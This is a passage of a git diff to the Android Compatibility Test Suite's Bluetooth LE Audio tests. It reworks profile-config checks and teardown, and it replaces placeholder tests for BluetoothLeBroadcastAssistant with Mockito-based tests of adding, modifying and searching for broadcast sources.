+        public CountDownLatch mAdvertisingDisabledLatch = new CountDownLatch(1);
+        public CountDownLatch mAdvertisingSetStoppedLatch = new CountDownLatch(1);
+
+        public AtomicInteger mAdvertisingSetStartedStatus = new AtomicInteger();
+        public AtomicInteger mAdvertisingEnabledStatus = new AtomicInteger();
+        public AtomicInteger mAdvertisingDisabledStatus = new AtomicInteger();
+
+        public AtomicReference<AdvertisingSet> mAdvertisingSet = new AtomicReference();
+
+        @Override
+        public void onAdvertisingSetStarted(AdvertisingSet advertisingSet, int txPower,
+                int status) {
+            super.onAdvertisingSetStarted(advertisingSet, txPower, status);
+            mAdvertisingSetStartedStatus.set(status);
+            mAdvertisingSet.set(advertisingSet);
+            mAdvertisingSetStartedLatch.countDown();
+        }
+
+        @Override
+        public void onAdvertisingEnabled(AdvertisingSet advertisingSet, boolean enable,
+                int status) {
+            super.onAdvertisingEnabled(advertisingSet, enable, status);
+            if (enable) {
+                mAdvertisingEnabledStatus.set(status);
+                mAdvertisingEnabledLatch.countDown();
+            } else {
+                mAdvertisingDisabledStatus.set(status);
+                mAdvertisingDisabledLatch.countDown();
+            }
+        }
+
+        @Override
+        public void onAdvertisingSetStopped(AdvertisingSet advertisingSet) {
+            super.onAdvertisingSetStopped(advertisingSet);
+            mAdvertisingSetStoppedLatch.countDown();
+        }
+
+    }
+}
diff --git a/tests/tests/bluetooth/src/android/bluetooth/cts/BluetoothLeAudioCodecConfigMetadataTest.java b/tests/tests/bluetooth/src/android/bluetooth/cts/BluetoothLeAudioCodecConfigMetadataTest.java
index 0100442..b40b52d 100644
--- a/tests/tests/bluetooth/src/android/bluetooth/cts/BluetoothLeAudioCodecConfigMetadataTest.java
+++ b/tests/tests/bluetooth/src/android/bluetooth/cts/BluetoothLeAudioCodecConfigMetadataTest.java
@@ -48,7 +48,7 @@
     // See Page 5 of Generic Audio assigned number specification
     private static final byte[] TEST_METADATA_BYTES = {
             // length = 0x05, type = 0x03, value = 0x00000001 (front left)
-            0x05, 0x03, 0x00, 0x00, 0x00, 0x01
+            0x05, 0x03, 0x01, 0x00, 0x00, 0x00
     };
 
     private Context mContext;
@@ -75,18 +75,16 @@
                 mAdapter.isLeAudioBroadcastAssistantSupported() == FEATURE_SUPPORTED;
         if (mIsBroadcastAssistantSupported) {
             boolean isBroadcastAssistantEnabledInConfig =
-                    TestUtils.getProfileConfigValueOrDie(
-                            BluetoothProfile.LE_AUDIO_BROADCAST_ASSISTANT);
+                    TestUtils.isProfileEnabled(BluetoothProfile.LE_AUDIO_BROADCAST_ASSISTANT);
             assertTrue("Config must be true when profile is supported",
                     isBroadcastAssistantEnabledInConfig);
         }
 
         mIsBroadcastSourceSupported =
                 mAdapter.isLeAudioBroadcastSourceSupported() == FEATURE_SUPPORTED;
-        if (!mIsBroadcastSourceSupported) {
+        if (mIsBroadcastSourceSupported) {
             boolean isBroadcastSourceEnabledInConfig =
-                    TestUtils.getProfileConfigValueOrDie(
-                            BluetoothProfile.LE_AUDIO_BROADCAST_ASSISTANT);
+                    TestUtils.isProfileEnabled(BluetoothProfile.LE_AUDIO_BROADCAST);
             assertTrue("Config must be true when profile is supported",
                     isBroadcastSourceEnabledInConfig);
         }
@@ -95,7 +93,9 @@
     @After
     public void tearDown() {
         if (mHasBluetooth) {
-            assertTrue(BTAdapterUtils.disableAdapter(mAdapter, mContext));
+            if (mAdapter != null) {
+                assertTrue(BTAdapterUtils.disableAdapter(mAdapter, mContext));
+            }
             mAdapter = null;
             TestUtils.dropPermissionAsShellUid();
         }
@@ -126,7 +126,7 @@
                 new BluetoothLeAudioCodecConfigMetadata.Builder(codecMetadata).build();
         assertEquals(codecMetadata, codecMetadataCopy);
         assertEquals(TEST_AUDIO_LOCATION_FRONT_LEFT, codecMetadataCopy.getAudioLocation());
-        assertArrayEquals(TEST_METADATA_BYTES, codecMetadata.getRawMetadata());
+        assertArrayEquals(codecMetadata.getRawMetadata(), codecMetadataCopy.getRawMetadata());
     }
 
     @Test
diff --git a/tests/tests/bluetooth/src/android/bluetooth/cts/BluetoothLeAudioContentMetadataTest.java b/tests/tests/bluetooth/src/android/bluetooth/cts/BluetoothLeAudioContentMetadataTest.java
index 673afed..ccf7fdb 100644
--- a/tests/tests/bluetooth/src/android/bluetooth/cts/BluetoothLeAudioContentMetadataTest.java
+++ b/tests/tests/bluetooth/src/android/bluetooth/cts/BluetoothLeAudioContentMetadataTest.java
@@ -81,18 +81,16 @@
                 mAdapter.isLeAudioBroadcastAssistantSupported() == FEATURE_SUPPORTED;
         if (mIsBroadcastAssistantSupported) {
             boolean isBroadcastAssistantEnabledInConfig =
-                    TestUtils.getProfileConfigValueOrDie(
-                            BluetoothProfile.LE_AUDIO_BROADCAST_ASSISTANT);
+                    TestUtils.isProfileEnabled(BluetoothProfile.LE_AUDIO_BROADCAST_ASSISTANT);
             assertTrue("Config must be true when profile is supported",
                     isBroadcastAssistantEnabledInConfig);
         }
 
         mIsBroadcastSourceSupported =
                 mAdapter.isLeAudioBroadcastSourceSupported() == FEATURE_SUPPORTED;
-        if (!mIsBroadcastSourceSupported) {
+        if (mIsBroadcastSourceSupported) {
             boolean isBroadcastSourceEnabledInConfig =
-                    TestUtils.getProfileConfigValueOrDie(
-                            BluetoothProfile.LE_AUDIO_BROADCAST_ASSISTANT);
+                    TestUtils.isProfileEnabled(BluetoothProfile.LE_AUDIO_BROADCAST_ASSISTANT);
             assertTrue("Config must be true when profile is supported",
                     isBroadcastSourceEnabledInConfig);
         }
@@ -101,7 +99,9 @@
     @After
     public void tearDown() {
         if (mHasBluetooth) {
-            assertTrue(BTAdapterUtils.disableAdapter(mAdapter, mContext));
+            if (mAdapter != null) {
+                assertTrue(BTAdapterUtils.disableAdapter(mAdapter, mContext));
+            }
             mAdapter = null;
             TestUtils.dropPermissionAsShellUid();
         }
diff --git a/tests/tests/bluetooth/src/android/bluetooth/cts/BluetoothLeAudioTest.java b/tests/tests/bluetooth/src/android/bluetooth/cts/BluetoothLeAudioTest.java
index 2d9d1f2..2fc24f5 100644
--- a/tests/tests/bluetooth/src/android/bluetooth/cts/BluetoothLeAudioTest.java
+++ b/tests/tests/bluetooth/src/android/bluetooth/cts/BluetoothLeAudioTest.java
@@ -120,8 +120,8 @@
         if (ApiLevelUtil.isAtLeast(Build.VERSION_CODES.TIRAMISU)) {
             mHasBluetooth = getContext().getPackageManager().hasSystemFeature(
                     PackageManager.FEATURE_BLUETOOTH);
-
             if (!mHasBluetooth) return;
+
             TestUtils.adoptPermissionAsShellUid(BLUETOOTH_CONNECT, BLUETOOTH_PRIVILEGED);
 
             BluetoothManager manager = getContext().getSystemService(BluetoothManager.class);
@@ -148,18 +148,19 @@
     @Override
     public void tearDown() throws Exception {
         super.tearDown();
-        if (mHasBluetooth) {
-            if (mBluetoothLeAudio != null) {
-                mBluetoothLeAudio.close();
-                mBluetoothLeAudio = null;
-                mIsProfileReady = false;
-            }
-            if (mAdapter != null) {
-                assertTrue(BTAdapterUtils.disableAdapter(mAdapter, mContext));
-                mAdapter = null;
-            }
-            TestUtils.dropPermissionAsShellUid();
+        if (!(mHasBluetooth && mIsLeAudioSupported)) {
+            return;
         }
+        if (mBluetoothLeAudio != null) {
+            mBluetoothLeAudio.close();
+            mBluetoothLeAudio = null;
+            mIsProfileReady = false;
+        }
+        if (mAdapter != null) {
+            assertTrue(BTAdapterUtils.disableAdapter(mAdapter, mContext));
+        }
+        TestUtils.dropPermissionAsShellUid();
+        mAdapter = null;
     }
 
     public void testGetConnectedDevices() {
diff --git a/tests/tests/bluetooth/src/android/bluetooth/cts/BluetoothLeBroadcastAssistantTest.java b/tests/tests/bluetooth/src/android/bluetooth/cts/BluetoothLeBroadcastAssistantTest.java
index 667aa52..d1e08fc 100644
--- a/tests/tests/bluetooth/src/android/bluetooth/cts/BluetoothLeBroadcastAssistantTest.java
+++ b/tests/tests/bluetooth/src/android/bluetooth/cts/BluetoothLeBroadcastAssistantTest.java
@@ -24,12 +24,18 @@
 import static org.junit.Assert.assertNotNull;
 import static org.junit.Assert.assertThrows;
 import static org.junit.Assert.assertTrue;
+import static org.mockito.Mockito.timeout;
+import static org.mockito.Mockito.verify;
 
 import android.bluetooth.BluetoothAdapter;
 import android.bluetooth.BluetoothDevice;
+import android.bluetooth.BluetoothLeAudioCodecConfigMetadata;
+import android.bluetooth.BluetoothLeAudioContentMetadata;
 import android.bluetooth.BluetoothLeBroadcastAssistant;
+import android.bluetooth.BluetoothLeBroadcastChannel;
 import android.bluetooth.BluetoothLeBroadcastMetadata;
 import android.bluetooth.BluetoothLeBroadcastReceiveState;
+import android.bluetooth.BluetoothLeBroadcastSubgroup;
 import android.bluetooth.BluetoothProfile;
 import android.bluetooth.BluetoothStatusCodes;
 import android.content.Context;
@@ -46,8 +52,10 @@
 import org.junit.Before;
 import org.junit.Test;
 import org.junit.runner.RunWith;
+import org.mockito.Mock;
+import org.mockito.MockitoAnnotations;
 
-import java.util.ArrayList;
+import java.util.Collections;
 import java.util.List;
 import java.util.concurrent.Executor;
 import java.util.concurrent.TimeUnit;
@@ -59,18 +67,40 @@
 public class BluetoothLeBroadcastAssistantTest {
     private static final String TAG = BluetoothLeBroadcastAssistantTest.class.getSimpleName();
 
-
+    private static final int START_SEARCH_TIMEOUT_MS = 100;
+    private static final int ADD_SOURCE_TIMEOUT_MS = 100;
     private static final int PROXY_CONNECTION_TIMEOUT_MS = 500;  // ms timeout for Proxy Connect
 
+    private static final String TEST_ADDRESS_1 = "EF:11:22:33:44:55";
+    private static final String TEST_ADDRESS_2 = "EF:11:22:33:44:66";
+    private static final int TEST_BROADCAST_ID = 42;
+    private static final int TEST_ADVERTISER_SID = 1234;
+    private static final int TEST_PA_SYNC_INTERVAL = 100;
+    private static final int TEST_PRESENTATION_DELAY_MS = 345;
+
+    private static final int TEST_CODEC_ID = 42;
+
+    // For BluetoothLeAudioCodecConfigMetadata
+    private static final long TEST_AUDIO_LOCATION_FRONT_LEFT = 0x01;
+
+    // For BluetoothLeAudioContentMetadata
+    private static final String TEST_PROGRAM_INFO = "Test";
+    // German language code in ISO 639-3
+    private static final String TEST_LANGUAGE = "deu";
+
     private Context mContext;
     private boolean mHasBluetooth;
     private BluetoothAdapter mAdapter;
+    Executor mExecutor;
 
     private BluetoothLeBroadcastAssistant mBluetoothLeBroadcastAssistant;
     private boolean mIsBroadcastAssistantSupported;
     private boolean mIsProfileReady;
     private Condition mConditionProfileIsConnected;
-    private ReentrantLock mProfileConnectedlock;
+    private ReentrantLock mProfileConnectedLock;
+
+    @Mock
+    BluetoothLeBroadcastAssistant.Callback mCallbacks;
 
     @Before
     public void setUp() {
@@ -82,12 +112,14 @@
         if (!mHasBluetooth) {
             return;
         }
+        MockitoAnnotations.initMocks(this);
+        mExecutor = mContext.getMainExecutor();
         TestUtils.adoptPermissionAsShellUid(BLUETOOTH_CONNECT);
         mAdapter = TestUtils.getBluetoothAdapterOrDie();
         assertTrue(BTAdapterUtils.enableAdapter(mAdapter, mContext));
 
-        mProfileConnectedlock = new ReentrantLock();
-        mConditionProfileIsConnected = mProfileConnectedlock.newCondition();
+        mProfileConnectedLock = new ReentrantLock();
+        mConditionProfileIsConnected = mProfileConnectedLock.newCondition();
         mIsProfileReady = false;
         mBluetoothLeBroadcastAssistant = null;
 
@@ -95,8 +127,7 @@
                 mAdapter.isLeAudioBroadcastAssistantSupported() == FEATURE_SUPPORTED;
         if (mIsBroadcastAssistantSupported) {
             boolean isBroadcastAssistantEnabledInConfig =
-                    TestUtils.getProfileConfigValueOrDie(
-                            BluetoothProfile.LE_AUDIO_BROADCAST_ASSISTANT);
+                    TestUtils.isProfileEnabled(BluetoothProfile.LE_AUDIO_BROADCAST_ASSISTANT);
             assertTrue("Config must be true when profile is supported",
                     isBroadcastAssistantEnabledInConfig);
         }
@@ -114,96 +145,206 @@
                 mBluetoothLeBroadcastAssistant = null;
                 mIsProfileReady = false;
             }
-            assertTrue(BTAdapterUtils.disableAdapter(mAdapter, mContext));
+            if (mAdapter != null) {
+                assertTrue(BTAdapterUtils.disableAdapter(mAdapter, mContext));
+            }
             mAdapter = null;
             TestUtils.dropPermissionAsShellUid();
         }
     }
 
     @Test
-    public void test_addSource() {
+    public void testAddSource() {
         if (shouldSkipTest()) {
             return;
         }
         assertTrue(waitForProfileConnect());
         assertNotNull(mBluetoothLeBroadcastAssistant);
 
-        // TODO When implemented
-        assertThrows(UnsupportedOperationException.class, () -> mBluetoothLeBroadcastAssistant
+        BluetoothDevice testDevice = mAdapter.getRemoteLeDevice(TEST_ADDRESS_1,
+                BluetoothDevice.ADDRESS_TYPE_RANDOM);
+        BluetoothDevice testSourceDevice = mAdapter.getRemoteLeDevice(TEST_ADDRESS_1,
+                BluetoothDevice.ADDRESS_TYPE_RANDOM);
+
+        BluetoothLeBroadcastMetadata.Builder builder = new BluetoothLeBroadcastMetadata.Builder()
+                .setEncrypted(false)
+                .setSourceDevice(testSourceDevice, BluetoothDevice.ADDRESS_TYPE_RANDOM)
+                .setSourceAdvertisingSid(TEST_ADVERTISER_SID)
+                .setBroadcastId(TEST_BROADCAST_ID)
+                .setBroadcastCode(null)
+                .setPaSyncInterval(TEST_PA_SYNC_INTERVAL)
+                .setPresentationDelayMicros(TEST_PRESENTATION_DELAY_MS);
+
+        BluetoothLeBroadcastSubgroup[] subgroups = new BluetoothLeBroadcastSubgroup[] {
+                createBroadcastSubgroup()
+        };
+        for (BluetoothLeBroadcastSubgroup subgroup : subgroups) {
+            builder.addSubgroup(subgroup);
+        }
+        BluetoothLeBroadcastMetadata metadata = builder.build();
+
+        // Verifies that it throws exception when no callback is registered
+        assertThrows(IllegalStateException.class, () -> mBluetoothLeBroadcastAssistant
+                .addSource(testDevice, metadata, true));
+
+        mBluetoothLeBroadcastAssistant.registerCallback(mExecutor, mCallbacks);
+
+        // Verify that exceptions is thrown when sink or source is null
+        assertThrows(NullPointerException.class, () -> mBluetoothLeBroadcastAssistant
+                .addSource(testDevice, null, true));
+        assertThrows(NullPointerException.class, () -> mBluetoothLeBroadcastAssistant
+                .addSource(null, metadata, true));
+        assertThrows(NullPointerException.class, () -> mBluetoothLeBroadcastAssistant
                 .addSource(null, null, true));
 
-        mBluetoothLeBroadcastAssistant.removeSource(null, 0);
+        // Verify that adding source to unknown test device will fail
+        mBluetoothLeBroadcastAssistant.addSource(testDevice, metadata, true);
+        verify(mCallbacks, timeout(ADD_SOURCE_TIMEOUT_MS)).onSourceAddFailed(testDevice, metadata,
+                BluetoothStatusCodes.ERROR_REMOTE_LINK_ERROR);
+
+        // Verify that removing null source device will throw exception
+        assertThrows(NullPointerException.class,
+                () -> mBluetoothLeBroadcastAssistant.removeSource(null, 0));
+
+        // Verify that removing unknown device will fail
+        mBluetoothLeBroadcastAssistant.removeSource(testDevice, 0);
+        verify(mCallbacks, timeout(ADD_SOURCE_TIMEOUT_MS)).onSourceRemoveFailed(
+                testDevice, 0, BluetoothStatusCodes.ERROR_REMOTE_LINK_ERROR);
+
+        // Do not forget to unregister callbacks
+        mBluetoothLeBroadcastAssistant.unregisterCallback(mCallbacks);
     }
 
     @Test
-    public void test_getAllSources() {
+    public void testGetAllSources() {
         if (shouldSkipTest()) {
             return;
         }
         assertTrue(waitForProfileConnect());
         assertNotNull(mBluetoothLeBroadcastAssistant);
 
-        // TODO When implemented
+        BluetoothDevice testDevice = mAdapter.getRemoteLeDevice(TEST_ADDRESS_1,
+                BluetoothDevice.ADDRESS_TYPE_RANDOM);
+
+        // Verify implementation throws exception when input is null
+        assertThrows(NullPointerException.class,
+                () -> mBluetoothLeBroadcastAssistant.getAllSources(null));
+
+        // Verify returns empty list if a device is not connected
+        assertTrue(mBluetoothLeBroadcastAssistant.getAllSources(testDevice).isEmpty());
 
         assertTrue(BTAdapterUtils.disableAdapter(mAdapter, mContext));
         // Verify returns empty list if bluetooth is not enabled
-        assertTrue(mBluetoothLeBroadcastAssistant.getAllSources(null).isEmpty());
+        assertTrue(mBluetoothLeBroadcastAssistant.getAllSources(testDevice).isEmpty());
     }
 
     @Test
-    public void test_setConnectionPolicy() {
+    public void testSetConnectionPolicy() {
         if (shouldSkipTest()) {
             return;
         }
         assertTrue(waitForProfileConnect());
         assertNotNull(mBluetoothLeBroadcastAssistant);
 
-        // TODO When implemented
-        assertFalse(mBluetoothLeBroadcastAssistant.setConnectionPolicy(null,
-                    BluetoothProfile.CONNECTION_POLICY_FORBIDDEN));
-        assertEquals(mBluetoothLeBroadcastAssistant.getConnectionPolicy(null),
-                BluetoothProfile.CONNECTION_POLICY_FORBIDDEN);
+        BluetoothDevice testDevice = mAdapter.getRemoteLeDevice(TEST_ADDRESS_1,
+                BluetoothDevice.ADDRESS_TYPE_RANDOM);
+
+        // Verify that it returns unknown for an unknown test device
+        assertEquals(BluetoothProfile.CONNECTION_POLICY_UNKNOWN,
+                mBluetoothLeBroadcastAssistant.getConnectionPolicy(testDevice));
+
+        // Verify that it returns true even for an unknown test device
+        assertTrue(mBluetoothLeBroadcastAssistant.setConnectionPolicy(testDevice,
+                    BluetoothProfile.CONNECTION_POLICY_ALLOWED));
+
+        // Verify that it returns the same value we set before
+        assertEquals(BluetoothProfile.CONNECTION_POLICY_ALLOWED,
+                mBluetoothLeBroadcastAssistant.getConnectionPolicy(testDevice));
     }
 
     @Test
-    public void test_getMaximumSourceCapacity() {
+    public void testGetMaximumSourceCapacity() {
         if (shouldSkipTest()) {
             return;
         }
         assertTrue(waitForProfileConnect());
         assertNotNull(mBluetoothLeBroadcastAssistant);
 
-        // TODO When implemented
-        assertEquals(mBluetoothLeBroadcastAssistant.getMaximumSourceCapacity(null), 0);
+        BluetoothDevice testDevice = mAdapter.getRemoteLeDevice(TEST_ADDRESS_1,
+                BluetoothDevice.ADDRESS_TYPE_RANDOM);
+
+        // Verifies that it returns 0 for an unknown test device
+        assertEquals(mBluetoothLeBroadcastAssistant.getMaximumSourceCapacity(testDevice), 0);
+
+        // Verifies that it throws exception when input is null
+        assertThrows(NullPointerException.class,
+                () -> mBluetoothLeBroadcastAssistant.getMaximumSourceCapacity(null));
     }
 
     @Test
-    public void test_isSearchInProgress() {
+    public void testIsSearchInProgress() {
         if (shouldSkipTest()) {
             return;
         }
         assertTrue(waitForProfileConnect());
         assertNotNull(mBluetoothLeBroadcastAssistant);
 
-        // TODO When implemented
+        // Verify that it returns false when search is not in progress
         assertFalse(mBluetoothLeBroadcastAssistant.isSearchInProgress());
     }
 
     @Test
-    public void test_modifySource() {
+    public void testModifySource() {
         if (shouldSkipTest()) {
             return;
         }
         assertTrue(waitForProfileConnect());
         assertNotNull(mBluetoothLeBroadcastAssistant);
 
-        // TODO When implemented
-        assertThrows(UnsupportedOperationException.class, () -> mBluetoothLeBroadcastAssistant
+        BluetoothDevice testDevice = mAdapter.getRemoteLeDevice(TEST_ADDRESS_1,
+                BluetoothDevice.ADDRESS_TYPE_RANDOM);
+        BluetoothDevice testSourceDevice = mAdapter.getRemoteLeDevice(TEST_ADDRESS_1,
+                BluetoothDevice.ADDRESS_TYPE_RANDOM);
+
+        BluetoothLeBroadcastMetadata.Builder builder = new BluetoothLeBroadcastMetadata.Builder()
+                .setEncrypted(false)
+                .setSourceDevice(testSourceDevice, BluetoothDevice.ADDRESS_TYPE_RANDOM)
+                .setSourceAdvertisingSid(TEST_ADVERTISER_SID)
+                .setBroadcastId(TEST_BROADCAST_ID)
+                .setBroadcastCode(null)
+                .setPaSyncInterval(TEST_PA_SYNC_INTERVAL)
+                .setPresentationDelayMicros(TEST_PRESENTATION_DELAY_MS);
+
+        BluetoothLeBroadcastSubgroup[] subgroups = new BluetoothLeBroadcastSubgroup[] {
+                createBroadcastSubgroup()
+        };
+        for (BluetoothLeBroadcastSubgroup subgroup : subgroups) {
+            builder.addSubgroup(subgroup);
+        }
+        BluetoothLeBroadcastMetadata metadata = builder.build();
+
+        // Verifies that it throws exception when callback is not registered
+        assertThrows(IllegalStateException.class, () -> mBluetoothLeBroadcastAssistant
+                .modifySource(testDevice, 0, metadata));
+
+        mBluetoothLeBroadcastAssistant.registerCallback(mExecutor, mCallbacks);
+
+        // Verifies that it throws exception when argument is null
+        assertThrows(NullPointerException.class, () -> mBluetoothLeBroadcastAssistant
                 .modifySource(null, 0, null));
+        assertThrows(NullPointerException.class, () -> mBluetoothLeBroadcastAssistant
+                .modifySource(testDevice, 0, null));
+        assertThrows(NullPointerException.class, () -> mBluetoothLeBroadcastAssistant
+                .modifySource(null, 0, metadata));
+
+        // Verify failure callback when test device is not connected
+        mBluetoothLeBroadcastAssistant.modifySource(testDevice, 0, metadata);
+        verify(mCallbacks, timeout(ADD_SOURCE_TIMEOUT_MS)).onSourceModifyFailed(
+                testDevice, 0, BluetoothStatusCodes.ERROR_REMOTE_LINK_ERROR);
     }
 
     @Test
-    public void test_registerCallback() {
+    public void testRegisterCallback() {
         if (shouldSkipTest()) {
             return;
         }
@@ -257,38 +398,55 @@
         callback.onReceiveStateChanged(null, 0, null);
 
         // Verify parameter
-        assertThrows(IllegalArgumentException.class, () -> mBluetoothLeBroadcastAssistant
+        assertThrows(NullPointerException.class, () -> mBluetoothLeBroadcastAssistant
                 .registerCallback(null, callback));
-        assertThrows(IllegalArgumentException.class, () -> mBluetoothLeBroadcastAssistant
+        assertThrows(NullPointerException.class, () -> mBluetoothLeBroadcastAssistant
                 .registerCallback(executor, null));
-        assertThrows(IllegalArgumentException.class, () -> mBluetoothLeBroadcastAssistant
+        assertThrows(NullPointerException.class, () -> mBluetoothLeBroadcastAssistant
                 .unregisterCallback(null));
 
 
-        // TODO When implemented
-        assertThrows(UnsupportedOperationException.class, () -> mBluetoothLeBroadcastAssistant
-                .registerCallback(executor, callback));
-        assertThrows(UnsupportedOperationException.class, () -> mBluetoothLeBroadcastAssistant
-                .unregisterCallback(callback));
+        // Verify that register and unregister callback will not cause any crush issues
+        mBluetoothLeBroadcastAssistant.registerCallback(executor, callback);
+        mBluetoothLeBroadcastAssistant.unregisterCallback(callback);
     }
 
     @Test
-    public void test_startSearchingForSources() {
+    public void testStartSearchingForSources() {
         if (shouldSkipTest()) {
             return;
         }
         assertTrue(waitForProfileConnect());
         assertNotNull(mBluetoothLeBroadcastAssistant);
 
-        // Verify parameter
-        assertThrows(IllegalArgumentException.class, () -> mBluetoothLeBroadcastAssistant
+        // Verifies that it throws exception when no callback is registered
+        assertThrows(IllegalStateException.class, () -> mBluetoothLeBroadcastAssistant
+                .startSearchingForSources(Collections.emptyList()));
+
+        mBluetoothLeBroadcastAssistant.registerCallback(mExecutor, mCallbacks);
+
+        // Verifies that it throws exception when filter is null
+        assertThrows(NullPointerException.class, () -> mBluetoothLeBroadcastAssistant
                 .startSearchingForSources(null));
 
-        // TODO When implemented
-        assertThrows(UnsupportedOperationException.class, () -> mBluetoothLeBroadcastAssistant
-                .startSearchingForSources(new ArrayList<>()));
-        assertThrows(UnsupportedOperationException.class, () -> mBluetoothLeBroadcastAssistant
-                .stopSearchingForSources());
+        // Verify that starting search triggers callback with the right reason
+        mBluetoothLeBroadcastAssistant.startSearchingForSources(Collections.emptyList());
+        verify(mCallbacks, timeout(START_SEARCH_TIMEOUT_MS))
+                .onSearchStarted(BluetoothStatusCodes.REASON_LOCAL_APP_REQUEST);
+
+        // Verify search state is right
+        assertTrue(mBluetoothLeBroadcastAssistant.isSearchInProgress());
+
+        // Verify that stopping search triggers the callback with the right reason
+        mBluetoothLeBroadcastAssistant.stopSearchingForSources();
+        verify(mCallbacks, timeout(START_SEARCH_TIMEOUT_MS))
+                .onSearchStarted(BluetoothStatusCodes.REASON_LOCAL_APP_REQUEST);
+
+        // Verify search state is right
+        assertFalse(mBluetoothLeBroadcastAssistant.isSearchInProgress());
+
+        // Do not forget to unregister callbacks
+        mBluetoothLeBroadcastAssistant.unregisterCallback(mCallbacks);
     }
 
     @Test
@@ -299,11 +457,17 @@
         assertTrue(waitForProfileConnect());
         assertNotNull(mBluetoothLeBroadcastAssistant);
 
+        // Verify returns empty list if no broadcast assistant device is connected
+        List<BluetoothDevice> connectedDevices =
+                mBluetoothLeBroadcastAssistant.getConnectedDevices();
+        assertNotNull(connectedDevices);
+        assertTrue(connectedDevices.isEmpty());
+
         assertTrue(BTAdapterUtils.disableAdapter(mAdapter, mContext));
 
         // Verify returns empty list if bluetooth is not enabled
-        List<BluetoothDevice> connectedDevices =
-                mBluetoothLeBroadcastAssistant.getConnectedDevices();
+        connectedDevices = mBluetoothLeBroadcastAssistant.getConnectedDevices();
+        assertNotNull(connectedDevices);
         assertTrue(connectedDevices.isEmpty());
     }
 
@@ -315,11 +479,23 @@
         assertTrue(waitForProfileConnect());
         assertNotNull(mBluetoothLeBroadcastAssistant);
 
+        // Verify returns empty list if no broadcast assistant device is connected
+        int[] states = {BluetoothProfile.STATE_CONNECTED};
+        List<BluetoothDevice> connectedDevices =
+                mBluetoothLeBroadcastAssistant.getDevicesMatchingConnectionStates(states);
+        assertNotNull(connectedDevices);
+        assertTrue(connectedDevices.isEmpty());
+
+        // Verify exception is thrown when null input is given
+        assertThrows(NullPointerException.class,
+                () -> mBluetoothLeBroadcastAssistant.getDevicesMatchingConnectionStates(null));
+
         assertTrue(BTAdapterUtils.disableAdapter(mAdapter, mContext));
 
         // Verify returns empty list if bluetooth is not enabled
-        List<BluetoothDevice> connectedDevices =
-                mBluetoothLeBroadcastAssistant.getDevicesMatchingConnectionStates(null);
+        connectedDevices =
+                mBluetoothLeBroadcastAssistant.getDevicesMatchingConnectionStates(states);
+        assertNotNull(connectedDevices);
         assertTrue(connectedDevices.isEmpty());
     }
 
@@ -334,8 +510,8 @@
 
         BluetoothDevice testDevice = mAdapter.getRemoteDevice("00:11:22:AA:BB:CC");
 
-        // Verify returns false when invalid input is given
-        assertEquals(BluetoothProfile.STATE_DISCONNECTED,
+        // Verify exception is thrown when null input is given
+        assertThrows(NullPointerException.class, () ->
                 mBluetoothLeBroadcastAssistant.getConnectionState(null));
 
         assertTrue(BTAdapterUtils.disableAdapter(mAdapter, mContext));
@@ -363,7 +539,7 @@
     }
 
     private boolean waitForProfileConnect() {
-        mProfileConnectedlock.lock();
+        mProfileConnectedLock.lock();
         try {
             // Wait for the Adapter to be disabled
             while (!mIsProfileReady) {
@@ -377,23 +553,22 @@
         } catch (InterruptedException e) {
             Log.e(TAG, "waitForProfileConnect: interrrupted");
         } finally {
-            mProfileConnectedlock.unlock();
+            mProfileConnectedLock.unlock();
         }
         return mIsProfileReady;
     }
 
-    private final class ServiceListener implements
-            BluetoothProfile.ServiceListener {
+    private final class ServiceListener implements BluetoothProfile.ServiceListener {
 
         @Override
         public void onServiceConnected(int profile, BluetoothProfile proxy) {
-            mProfileConnectedlock.lock();
+            mProfileConnectedLock.lock();
             mBluetoothLeBroadcastAssistant = (BluetoothLeBroadcastAssistant) proxy;
             mIsProfileReady = true;
             try {
                 mConditionProfileIsConnected.signal();
             } finally {
-                mProfileConnectedlock.unlock();
+                mProfileConnectedLock.unlock();
             }
         }
 
@@ -401,4 +576,23 @@
         public void onServiceDisconnected(int profile) {
         }
     }
+
+    static BluetoothLeBroadcastSubgroup createBroadcastSubgroup() {
+        BluetoothLeAudioCodecConfigMetadata codecMetadata =
+                new BluetoothLeAudioCodecConfigMetadata.Builder()
+                        .setAudioLocation(TEST_AUDIO_LOCATION_FRONT_LEFT).build();
+        BluetoothLeAudioContentMetadata contentMetadata =
+                new BluetoothLeAudioContentMetadata.Builder()
+                        .setProgramInfo(TEST_PROGRAM_INFO).setLanguage(TEST_LANGUAGE).build();
+        BluetoothLeBroadcastSubgroup.Builder builder = new BluetoothLeBroadcastSubgroup.Builder()
+                .setCodecId(TEST_CODEC_ID)
+                .setCodecSpecificConfig(codecMetadata)
+                .setContentMetadata(contentMetadata);
+        BluetoothLeAudioCodecConfigMetadata emptyMetadata =
+                new BluetoothLeAudioCodecConfigMetadata.Builder().build();
+        BluetoothLeBroadcastChannel channel = new BluetoothLeBroadcastChannel.Builder()
+                .setChannelIndex(42).setSelected(true).setCodecMetadata(emptyMetadata).build();
+        builder.addChannel(channel);
+        return builder.build();
+    }
 }
diff --git a/tests/tests/bluetooth/src/android/bluetooth/cts/BluetoothLeBroadcastChannelTest.java b/tests/tests/bluetooth/src/android/bluetooth/cts/BluetoothLeBroadcastChannelTest.java
index 2c862b8..e4d0577 100644
--- a/tests/tests/bluetooth/src/android/bluetooth/cts/BluetoothLeBroadcastChannelTest.java
+++ b/tests/tests/bluetooth/src/android/bluetooth/cts/BluetoothLeBroadcastChannelTest.java
@@ -20,10 +20,11 @@
 import static android.bluetooth.BluetoothStatusCodes.FEATURE_SUPPORTED;
 
 import static org.junit.Assert.assertEquals;
-import static org.junit.Assert.assertNull;
+import static org.junit.Assert.assertNotNull;
 import static org.junit.Assert.assertTrue;
 
 import android.bluetooth.BluetoothAdapter;
+import android.bluetooth.BluetoothLeAudioCodecConfigMetadata;
 import android.bluetooth.BluetoothLeBroadcastChannel;
 import android.bluetooth.BluetoothProfile;
 import android.content.Context;
@@ -43,6 +44,7 @@
 @RunWith(AndroidJUnit4.class)
 @SmallTest
 public class BluetoothLeBroadcastChannelTest {
+    private static final long TEST_AUDIO_LOCATION_FRONT_LEFT = 0x01;
     private static final int TEST_CHANNEL_INDEX = 42;
 
     private Context mContext;
@@ -69,18 +71,17 @@
                 mAdapter.isLeAudioBroadcastAssistantSupported() == FEATURE_SUPPORTED;
         if (mIsBroadcastAssistantSupported) {
             boolean isBroadcastAssistantEnabledInConfig =
-                    TestUtils.getProfileConfigValueOrDie(
-                            BluetoothProfile.LE_AUDIO_BROADCAST_ASSISTANT);
+                    TestUtils.isProfileEnabled(BluetoothProfile.LE_AUDIO_BROADCAST_ASSISTANT);
